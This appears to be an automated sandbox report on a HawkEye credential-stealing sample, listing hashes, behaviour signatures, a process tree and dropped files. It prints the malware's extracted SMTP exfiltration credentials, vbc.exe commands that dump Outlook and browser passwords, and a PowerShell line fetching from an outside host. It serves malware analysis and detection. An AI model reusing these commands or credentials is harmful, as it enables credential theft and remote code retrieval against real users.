Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-07-2022 01:43

General

  • Target

    5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe

  • Size

    912KB

  • MD5

    598843804e5c6c64eba09b9cd08bfd9d

  • SHA1

    213f93a0b4c73e5b8368e375dd0e89b053f9bcf5

  • SHA256

    5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f

  • SHA512

    0538d5c57ed42976b037bcfad36e42fe13b3aa98a57b7dd0b32006b0d589a72c48fc05daba12a11358a42dd86d9ceccca22b38e9bcad9c0a728c72a303e68046

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.vivaldi.net
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    nAMkXP8FUGvSc3wjPCKF

Signatures

  • HawkEye

    HawkEye is a malware kit that has seen continuous development since at least 2013.

  • NirSoft MailPassView 4 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 4 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 8 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops desktop.ini file(s) 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe
    "C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2576
    • C:\Users\Admin\AppData\Local\Temp\Chrome.exe
      "C:\Users\Admin\AppData\Local\Temp\Chrome.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Drops desktop.ini file(s)
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Users\Admin\AppData\Roaming\Windows Update.exe
        "C:\Users\Admin\AppData\Roaming\Windows Update.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1852
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
          4⤵
          • Accesses Microsoft Outlook accounts
          PID:4764
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
          4⤵
            PID:4332
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\s7.vbs"
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -command "iwr -uri https://2no.co/2Appw5"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3300

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Chrome.exe

      Filesize

      640KB

      MD5

      ceb41183c47cfdfc02f2f823f59345a4

      SHA1

      a8ce2f8b8912e5d59653af4e426e8ddd92823e1e

      SHA256

      338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0

      SHA512

      6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed

    • C:\Users\Admin\AppData\Local\Temp\Chrome.exe

      Filesize

      640KB

      MD5

      ceb41183c47cfdfc02f2f823f59345a4

      SHA1

      a8ce2f8b8912e5d59653af4e426e8ddd92823e1e

      SHA256

      338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0

      SHA512

      6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed

    • C:\Users\Admin\AppData\Local\Temp\SysInfo.txt

      Filesize

      44B

      MD5

      9adcd38d352368d85ae6dc22cd2393ec

      SHA1

      608f7f4ddd5547b537b1a3075a12a11ff03bdd82

      SHA256

      2fa2cf15eacef5258245ba5f331cfd8286547cca36babb479e46deb0b9000408

      SHA512

      b3eab8af2d965a158abcf385c4ff386ff170214779ba29976e21f2044f0fc2ee16766e4496cd0ffe21fed789aaad91e0ff27ff0fad16bd51e5b19b1332508d28

    • C:\Users\Admin\AppData\Local\Temp\holderwb.txt

      Filesize

      3KB

      MD5

      f94dc819ca773f1e3cb27abbc9e7fa27

      SHA1

      9a7700efadc5ea09ab288544ef1e3cd876255086

      SHA256

      a3377ade83786c2bdff5db19ff4dbfd796da4312402b5e77c4c63e38cc6eff92

      SHA512

      72a2c10d7a53a7f9a319dab66d77ed65639e9aa885b551e0055fc7eaf6ef33bbf109205b42ae11555a0f292563914bc6edb63b310c6f9bda9564095f77ab9196

    • C:\Users\Admin\AppData\Local\Temp\s7.vbs

      Filesize

      29KB

      MD5

      46ea1b5552e77fbc7679f93124754c57

      SHA1

      39cbbdba52ccacd8f874c7afac32b712c2e5bff9

      SHA256

      54a60ce0810b7b0d3e2ab1a9f9f51752d7573a694ec7c1c252a907fb3117bca5

      SHA512

      ac9f19f3314ec3f1c71d4e4681de52102d33110ed4f662b3e2c2a4577f66581d3ba43577ad5ff4ba557145afbf97aa4daec825f57bc9cfda4efd335530d6cb70

    • C:\Users\Admin\AppData\Roaming\Windows Update.exe

      Filesize

      640KB

      MD5

      ceb41183c47cfdfc02f2f823f59345a4

      SHA1

      a8ce2f8b8912e5d59653af4e426e8ddd92823e1e

      SHA256

      338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0

      SHA512

      6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed

    • C:\Users\Admin\AppData\Roaming\Windows Update.exe

      Filesize

      640KB

      MD5

      ceb41183c47cfdfc02f2f823f59345a4

      SHA1

      a8ce2f8b8912e5d59653af4e426e8ddd92823e1e

      SHA256

      338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0

      SHA512

      6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed

    • memory/1852-160-0x000000000246C000-0x000000000246F000-memory.dmp

      Filesize

      12KB

    • memory/1852-154-0x000000000246C000-0x000000000246F000-memory.dmp

      Filesize

      12KB

    • memory/1852-153-0x0000000074CA0000-0x0000000075251000-memory.dmp

      Filesize

      5.7MB

    • memory/1852-151-0x0000000074CA0000-0x0000000075251000-memory.dmp

      Filesize

      5.7MB

    • memory/2576-135-0x0000000074CA0000-0x0000000075251000-memory.dmp

      Filesize

      5.7MB

    • memory/2576-130-0x0000000074CA0000-0x0000000075251000-memory.dmp

      Filesize

      5.7MB

    • memory/3300-145-0x00000000074B0000-0x0000000007B2A000-memory.dmp

      Filesize

      6.5MB

    • memory/3300-144-0x0000000005C70000-0x0000000005C8E000-memory.dmp

      Filesize

      120KB

    • memory/3300-143-0x0000000005680000-0x00000000056E6000-memory.dmp

      Filesize

      408KB

    • memory/3300-146-0x0000000006180000-0x000000000619A000-memory.dmp

      Filesize

      104KB

    • memory/3300-142-0x00000000055A0000-0x0000000005606000-memory.dmp

      Filesize

      408KB

    • memory/3300-141-0x0000000004DA0000-0x0000000004DC2000-memory.dmp

      Filesize

      136KB

    • memory/3300-140-0x0000000004E00000-0x0000000005428000-memory.dmp

      Filesize

      6.2MB

    • memory/3300-139-0x00000000046A0000-0x00000000046D6000-memory.dmp

      Filesize

      216KB

    • memory/4332-166-0x0000000000400000-0x0000000000458000-memory.dmp

      Filesize

      352KB

    • memory/4332-164-0x0000000000400000-0x0000000000458000-memory.dmp

      Filesize

      352KB

    • memory/4332-162-0x0000000000400000-0x0000000000458000-memory.dmp

      Filesize

      352KB

    • memory/4640-150-0x0000000074CA0000-0x0000000075251000-memory.dmp

      Filesize

      5.7MB

    • memory/4640-137-0x0000000074CA0000-0x0000000075251000-memory.dmp

      Filesize

      5.7MB

    • memory/4764-159-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB

    • memory/4764-158-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB

    • memory/4764-156-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB